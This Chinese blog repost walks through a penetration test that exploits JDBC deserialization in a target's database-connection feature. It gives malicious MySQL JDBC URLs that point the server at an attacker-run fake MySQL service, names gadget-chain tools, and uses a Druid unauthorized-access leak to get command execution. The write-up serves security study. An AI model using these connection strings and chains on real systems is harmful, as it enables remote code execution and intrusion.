渗透实战 | JDBC反序列化利用思路

admin 2025年2月12日14:49:45评论32 views字数 1482阅读4分56秒阅读模式

JDBC反序列化利用思路

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。需要加交流群在最下方,后台回复“抽奖”可参与限时活动
还在学怎么挖通用漏洞和src吗?知识星球最后一次优惠,续费也有优惠私聊~~考证请加联系vx咨询
渗透实战 | JDBC反序列化利用思路
在一次测试中遇到了数据库连接功能,这种功能点一般会存在jdbc反序列化漏洞
特征点:
这种数据库连接点一般会存在jdbc反序列化漏洞
渗透实战 | JDBC反序列化利用思路
打法:
先试试打h2不出网利用链。该利用链需要对方服务器导入了h2依赖包才能打。执行ping dnslog命令
渗透实战 | JDBC反序列化利用思路
然后测试连接,发送请求,看起来并没有收到dnslog请求
渗透实战 | JDBC反序列化利用思路
渗透实战 | JDBC反序列化利用思路
那就换着打常规的出网利用链。需要用到这个工具。
渗透实战 | JDBC反序列化利用思路
下载地址:https://github.com/4ra1n/mysql-fake-server/
打个dnslog链,探测是否存在反序列化漏洞。
先在自己的vps起一个服务
渗透实战 | JDBC反序列化利用思路
在url处写入(目标服务器JDBC Version6.x时使用)
jdbc:mysql://ip:port/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
(目标服务器JDBC Version8.x时使用)
jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
用户名处写入要打的urldns地址,密码可以随便写
渗透实战 | JDBC反序列化利用思路
VPS成功收到请求
渗透实战 | JDBC反序列化利用思路
dnslog收到回显
渗透实战 | JDBC反序列化利用思路
接下来可以试试打可以执行命令的链,例如cc链,cb链等。
但是试了几个下来都没有成功执行命令,就是说目标服务器可能没有导入对应的依赖。(过程省略)
刚好bp插件帮我扫到了druid未授权漏洞,可以通过druid未授权看看服务器里的组件有什么,就可以判断打什么链了。
渗透实战 | JDBC反序列化利用思路
服务器导入的是commons-collections-3.2.2.jar版本,相较于之前的版本增加了一个安全检查,所以没办法直接打cc链。
渗透实战 | JDBC反序列化利用思路
目标服务器还有c3p0,但是这个链不太好打jdbc反序列化,需要的前置条件比较多。
渗透实战 | JDBC反序列化利用思路
又发现了目标服务器使用了fastjson,看来可以直接打fastjson链了。
渗透实战 | JDBC反序列化利用思路
使用工具生成fastjson链,执行ping命令
https://github.com/Lotus6/ysoserial
渗透实战 | JDBC反序列化利用思路
将base64编码的payload在vps上,这里我放到了test文件里
渗透实战 | JDBC反序列化利用思路
通过命令再次启动服务
渗透实战 | JDBC反序列化利用思路
再次创建数据库连接,将用户名处改为deser_CUSTOM
渗透实战 | JDBC反序列化利用思路
成功执行ping命令,拿下。
渗透实战 | JDBC反序列化利用思路
补充:
如果目标没有druid未授权,那么怎么知道目标服务器有什么链可以打呢?
可以通过urldns链判断目标有什么利用链,如果存在某个指定的类,就进行dnslog请求,从而判断服务器有什么链,具体原理这里不细讲,有兴趣的可以看这个文章了解。
https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA
我们可以用珂师傅的工具
https://github.com/kezibei/Urldns
通过该工具生成base64编码的payload
渗透实战 | JDBC反序列化利用思路
渗透实战 | JDBC反序列化利用思路
和刚才的步骤相同,放到vps上面,过程省略。成功把目标服务器信息回显出来。

原文始发于微信公众号(不秃头的安全):渗透实战 | JDBC反序列化利用思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月12日14:49:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透实战 | JDBC反序列化利用思路https://cn-sec.com/archives/3730170.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息